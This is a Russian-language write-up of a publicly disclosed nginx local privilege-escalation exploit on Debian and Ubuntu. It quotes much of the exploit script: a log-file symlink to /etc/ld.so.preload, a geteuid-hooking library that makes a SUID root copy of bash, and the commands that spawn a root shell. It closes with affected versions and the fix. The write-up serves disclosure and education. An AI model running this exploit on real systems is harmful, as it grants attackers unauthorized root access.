Сегодня мы расмотрим эксплоит Давида Голунского. На этот раз его руки и пытливый ум дотянулись до прокси-сервера nginx. Проблема довольно банальна и присутствует только в Debian-подобных дистрибутивах Linux (в том числе Ubuntu). При установке пакетов сервера из официальных репозиториев скрипт создает папку /var/log/nginx
, владельцем которой является юзер www-data
. Сам демон nginx работает от суперпользователя, поэтому создание симлинков вместо лог-файлoв позволяет манипулировать файлами от его имени.
EXPLOIT
После установки nginx через apt-get ты можешь проверить, что владелец папки с логами действительно пользователь www-data
.
drwxr-x--- 2 www-data adm 4096 Dec 5 07:35 /var/log/nginx/
Теперь давай пробежимся по коду эксплоита и рассмотрим ключевые моменты успешной эксплуатации.
В качестве аргумента для запуска эксплоита указываем путь до лог-файла nginx.
40768.sh:
107: # Args
108: if [ $# -lt 1 ]; then
109: echo -e "n[!] Exploit usage: nn$0 path_to_error.log n"
110: echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`n"
111: exit 3
112: fi
Компилируем либу, которая будет ставить бит SUID на шелл и менять его владельца на root
.
40768.sh:
53: PRIVESCLIB="/tmp/privesclib.so"
54: PRIVESCSRC="/tmp/privesclib.c"
...
135: cat <<_solibeof_>$PRIVESCSRC
...
156: /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
Библиотека хукает функцию geteuid
. Если она вызывается от root
, то нужные пермишены устанавливаются на файл с шеллом. В переменной old_geteuid
хранится указатель на оригинальную geteuid
, результат которой и возвращается после всех манипуляций.
[ad name=»MiBand2″]
40768.sh:
051: BACKDOORSH="/bin/bash"
052: BACKDOORPATH="/tmp/nginxrootsh"
...
145: uid_t geteuid(void) {
146: static uid_t (*old_geteuid)();
147: old_geteuid = dlsym(RTLD_NEXT, "geteuid");
148: if ( old_geteuid() == 0 ) {
149: chown("$BACKDOORPATH", 0, 0);
150: chmod("$BACKDOORPATH", 04777);
151: unlink("/etc/ld.so.preload");
152: }
153: return old_geteuid();
154: }
...
164: cp $BACKDOORSH $BACKDOORPATH
Дальше скрипт удаляет оригинальный лог-файл и заменяет его симлинком на /etc/ld.so.preload
.
40768.sh:
124: ERRORLOG="$1"
...
174: rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
Магия /etc/ld.so.preaload
заключается в том, что если этот файл существует, то каждый бинарник при запуске будет пoдгружать указанные в нем библиотеки.
Вот только писать файлы в /etc
может исключительно рут. Пройдя по симлинку, эту рабoту за нас проделает nginx, а для этого нужно дождаться открытия лог-файлов. Происходит это в тех случаях, кoгда сервис перезагружается или его процесс получает сигнал USR1
. В Debian такoй сигнал по умолчанию отправляет функция do_rotate()
, которую вызывает скрипт logrotate
.
/etc/logrotate.d/nginx:
01: /var/log/nginx/*.log {
02: daily
...
08: create 0640 www-data adm
...
15: postrotate
16: invoke-rc.d nginx rotate >/dev/null 2>&1
17: endscript
/etc/init.d/nginx:
88: #
89: # Rotate log files
90: #
91: do_rotate() {
92: start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
93: return 0
94: }
Настройки по умолчанию вызывают скрипт ротации логов ежедневно в 6:25 утра, и если nginx настроен на архивацию логов каждый день, то нужно подождать сутки до успешной эксплуатации.
[ad name=»Responbl»]
40768.sh:
185: echo -ne "n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
186: while :; do
187: sleep 1
188: if [ -f /etc/ld.so.preload ]; then
189: echo $PRIVESCLIB > /etc/ld.so.preload
190: rm -f $ERRORLOG
191: break;
192: fi
193: done
Для демонстрации можно ускорить выполнение нужных функций командой /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
. Также стоит отметить, что архивация сработает, только если в файле access.log
есть хотя бы одна запись. Поэтому в экcплоите выполняется следующая команда:
40768.sh:
182: curl http://localhost/ >/dev/null 2>/dev/null
Файл /etc/ld.so.preload
создался, и его владельцем стал www-data
:
-rw-r--r-- 1 www-data root 13 Dec 10 13:33 /etc/ld.so.preload
После успешного создания файла добавляем в него путь до скомпилированной библиотеки.
40768.sh:
53: PRIVESCLIB="/tmp/privesclib.so"
...
196: # Inject the privesc.so shared library to escalate privileges
197: echo $PRIVESCLIB > /etc/ld.so.preload
...
201: chmod 755 /etc/ld.so.preload
Последним шагом в эксплоите вызывается sudo
для установки нужных привилегий на копию шелла.
40768.sh:
204: echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
205: sudo 2>/dev/null >/dev/null
Вообще, сгодится любой бинарник, который принадлежит руту, имеет бит SUID и вызывает функцию geteuid
, например mount
.
Лог strace
показывает нам, что все прошло успешно.
access("/etc/ld.so.preload", R_OK) = 0
open("/etc/ld.so.preload", O_RDONLY|O_CLOEXEC) = 3
...
open("/tmp/privesclib.so", O_RDONLY|O_CLOEXEC) = 3
...
geteuid32() = 0
chown32("/tmp/nginxrootsh", 0, 0) = 0
chmod("/tmp/nginxrootsh", 04777) = 0
geteuid32() = 0
Результат работы эксплоита — суидная копия /bin/bash. Запускаем и получаем шелл с привилегиями суперпользователя. Pwned.
40768.sh:
052: BACKDOORPATH="/tmp/nginxrootsh"
...
227: echo -e "n[+] Spawning the rootshell $BACKDOORPATH now! n"
228: $BACKDOORPATH -p -i
TARGETS
В Debian — nginx младше 1.6.2-5+deb8u3, в Ubuntu 16.10 — nginx до версии 1.10.1-0ubuntu1.1, в 16.04 LTS — до 1.10.0-0ubuntu0.16.04.3, в 14.04 LTS — до 1.4.6-1ubuntu3.6.
[ad name=»Responbl»]
SOLUTION
Уязвимость была исправлена в новых версиях пакетов, так что советую всем обновиться как можно скорее. Или же ручками поправить права на папку с лог-файлами nginx.
Ссылки: